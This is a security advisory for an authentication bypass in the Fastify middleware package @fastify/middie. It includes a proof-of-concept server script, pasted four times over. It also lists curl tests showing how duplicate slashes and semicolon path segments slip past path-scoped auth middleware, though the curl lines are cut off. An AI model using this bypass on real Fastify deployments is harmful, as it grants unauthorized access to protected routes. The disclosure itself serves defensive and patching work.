Description A path normalization inconsistency in @fastify/middie can result in authentication/authorization bypass when using path-scoped middleware (for example, app.use('/secret', auth)).
When Fastify router normalization options are enabled (such as ignoreDuplicateSlashes, useSemicolonDelimiter, and related trailing-slash behavior), crafted request paths may bypass middleware checks while still being routed to protected handlers.
Vulnerability In @fastify/middie, path-scoped middleware (app.use('/secret', ...)) is matched using a regex against a lightly sanitized URL (sanitizeUrl(req.url)), which mainly strips query/hash and does not fully normalize path variants the same way as the router. Fastify’s router (find-my-way) then performs additional normalization during route lookup (for example, collapsing duplicate slashes when ignoreDuplicateSlashes=true, and splitting on; when useSemicolonDelimiter=true). Because auth is enforced before routing and on a different path representation, crafted inputs can fail middleware matching but still match the protected route after router normalization. This is an improper sanitization/validation consistency flaw (normalization drift), not a missing API-key check itself
PoC Use the following code for the PoC.
'use strict'
const Fastify = require ( 'fastify' )
const middie = require ( '@fastify/middie' )
const PORT = Number ( process .env .PORT || 46150 )
const API_KEY = process .env .MOCK_API_KEY || 'mock-api-key-123'
const IGNORE_TRAILING = process .env .IGNORE_TRAILING !== 'false'
const IGNORE_DUPLICATE = process .env .IGNORE_DUPLICATE !== 'false'
const USE_SEMICOLON = process .env .USE_SEMICOLON !== 'false'
async function build ( ) {
const app = Fastify ( {
logger : true ,
routerOptions : {
ignoreTrailingSlash : IGNORE_TRAILING ,
ignoreDuplicateSlashes : IGNORE_DUPLICATE ,
useSemicolonDelimiter : USE_SEMICOLON
}
} )
await app .register ( middie )
app .use ( '/secret' , ( req , res , next ) => {
if ( req .headers [ 'x-api-key' ] !== API_KEY ) {
res .statusCode = 401
res .setHeader ( 'content-type' , 'application/json; charset=utf-8' )
res .end ( JSON .stringify ( { error : 'Unauthorized' , where : 'middie /secret guard' } ) )
return
}
next ( )
} )
app .get ( '/secret' , async ( request ) => {
return {
ok : true ,
route : '/secret' ,
originalUrl : request .raw .url ,
note : 'Reached protected handler'
}
} )
app .get ( '/public' , async ( ) => ( { ok : true , route : '/public' } ) )
return app
}
async function start ( ) {
const app = await build ( )
await app .listen ( { host : '0.0.0.0' , port : PORT } )
}
start ( ) .catch ( ( err ) => {
console .error ( err )
process .exit ( 1 )
} )
'use strict'
const Fastify = require ( 'fastify' )
const middie = require ( '@fastify/middie' )
const PORT = Number ( process .env .PORT || 46150 )
const API_KEY = process .env .MOCK_API_KEY || 'mock-api-key-123'
const IGNORE_TRAILING = process .env .IGNORE_TRAILING !== 'false'
const IGNORE_DUPLICATE = process .env .IGNORE_DUPLICATE !== 'false'
const USE_SEMICOLON = process .env .USE_SEMICOLON !== 'false'
async function build ( ) {
const app = Fastify ( {
logger : true ,
routerOptions : {
ignoreTrailingSlash : IGNORE_TRAILING ,
ignoreDuplicateSlashes : IGNORE_DUPLICATE ,
useSemicolonDelimiter : USE_SEMICOLON
}
} )
await app .register ( middie )
app .use ( '/secret' , ( req , res , next ) => {
if ( req .headers [ 'x-api-key' ] !== API_KEY ) {
res .statusCode = 401
res .setHeader ( 'content-type' , 'application/json; charset=utf-8' )
res .end ( JSON .stringify ( { error : 'Unauthorized' , where : 'middie /secret guard' } ) )
return
}
next ( )
} )
app .get ( '/secret' , async ( request ) => {
return {
ok : true ,
route : '/secret' ,
originalUrl : request .raw .url ,
note : 'Reached protected handler'
}
} )
app .get ( '/public' , async ( ) => ( { ok : true , route : '/public' } ) )
return app
}
async function start ( ) {
const app = await build ( )
await app .listen ( { host : '0.0.0.0' , port : PORT } )
}
start ( ) .catch ( ( err ) => {
console .error ( err )
process .exit ( 1 )
} )
'use strict'
const Fastify = require ( 'fastify' )
const middie = require ( '@fastify/middie' )
const PORT = Number ( process .env .PORT || 46150 )
const API_KEY = process .env .MOCK_API_KEY || 'mock-api-key-123'
const IGNORE_TRAILING = process .env .IGNORE_TRAILING !== 'false'
const IGNORE_DUPLICATE = process .env .IGNORE_DUPLICATE !== 'false'
const USE_SEMICOLON = process .env .USE_SEMICOLON !== 'false'
async function build ( ) {
const app = Fastify ( {
logger : true ,
routerOptions : {
ignoreTrailingSlash : IGNORE_TRAILING ,
ignoreDuplicateSlashes : IGNORE_DUPLICATE ,
useSemicolonDelimiter : USE_SEMICOLON
}
} )
await app .register ( middie )
app .use ( '/secret' , ( req , res , next ) => {
if ( req .headers [ 'x-api-key' ] !== API_KEY ) {
res .statusCode = 401
res .setHeader ( 'content-type' , 'application/json; charset=utf-8' )
res .end ( JSON .stringify ( { error : 'Unauthorized' , where : 'middie /secret guard' } ) )
return
}
next ( )
} )
app .get ( '/secret' , async ( request ) => {
return {
ok : true ,
route : '/secret' ,
originalUrl : request .raw .url ,
note : 'Reached protected handler'
}
} )
app .get ( '/public' , async ( ) => ( { ok : true , route : '/public' } ) )
return app
}
async function start ( ) {
const app = await build ( )
await app .listen ( { host : '0.0.0.0' , port : PORT } )
}
start ( ) .catch ( ( err ) => {
console .error ( err )
process .exit ( 1 )
} )
'use strict'
const Fastify = require ( 'fastify' )
const middie = require ( '@fastify/middie' )
const PORT = Number ( process .env .PORT || 46150 )
const API_KEY = process .env .MOCK_API_KEY || 'mock-api-key-123'
const IGNORE_TRAILING = process .env .IGNORE_TRAILING !== 'false'
const IGNORE_DUPLICATE = process .env .IGNORE_DUPLICATE !== 'false'
const USE_SEMICOLON = process .env .USE_SEMICOLON !== 'false'
async function build ( ) {
const app = Fastify ( {
logger : true ,
routerOptions : {
ignoreTrailingSlash : IGNORE_TRAILING ,
ignoreDuplicateSlashes : IGNORE_DUPLICATE ,
useSemicolonDelimiter : USE_SEMICOLON
}
} )
await app .register ( middie )
app .use ( '/secret' , ( req , res , next ) => {
if ( req .headers [ 'x-api-key' ] !== API_KEY ) {
res .statusCode = 401
res .setHeader ( 'content-type' , 'application/json; charset=utf-8' )
res .end ( JSON .stringify ( { error : 'Unauthorized' , where : 'middie /secret guard' } ) )
return
}
next ( )
} )
app .get ( '/secret' , async ( request ) => {
return {
ok : true ,
route : '/secret' ,
originalUrl : request .raw .url ,
note : 'Reached protected handler'
}
} )
app .get ( '/public' , async ( ) => ( { ok : true , route : '/public' } ) )
return app
}
async function start ( ) {
const app = await build ( )
await app .listen ( { host : '0.0.0.0' , port : PORT } )
}
start ( ) .catch ( ( err ) => {
console .error ( err )
process .exit ( 1 )
} )
Baseline check (no API key, normal path) -> should be blocked:
curl -x http:
Expected: 401 Unauthorized
curl -x http:
Expected: 401 Unauthorized
curl -x http:
Expected: 401 Unauthorized
curl -x http:
Expected: 401 Unauthorized
Bypass with duplicate slashes.
curl -x http:
Expected: 200 OK and response from protected handler ( route : "/secret ")
curl -x http:
Expected: 200 OK and response from protected handler ( route : "/secret ")
curl -x http:
Expected: 200 OK and response from protected handler ( route : "/secret ")
curl -x http:
Expected: 200 OK and response from protected handler ( route : "/secret ")
Bypass with semicolon path params:
curl -x http:
Expected: 200 OK and response from protected handler
curl -x http:
Expected: 200 OK and response from protected handler
curl -x http:
Expected: 200 OK and response from protected handler
curl -x http:
Expected: 200 OK and response from protected handler
Evidence of Exploitation VIDEO Successful bypass
Security policy This vulnerability was disclosed by another CNA, due to a scope conflict, with the ID CVE-2026-2880
System Information @fastify/middie
Version: <9.2.0
Operating System: Any
References Mitigation An updated version of @fastify/middie is available at the vendor page.
Credits The vulnerability was discovered by Cristian Vargas from Fluid Attacks' Offensive Team.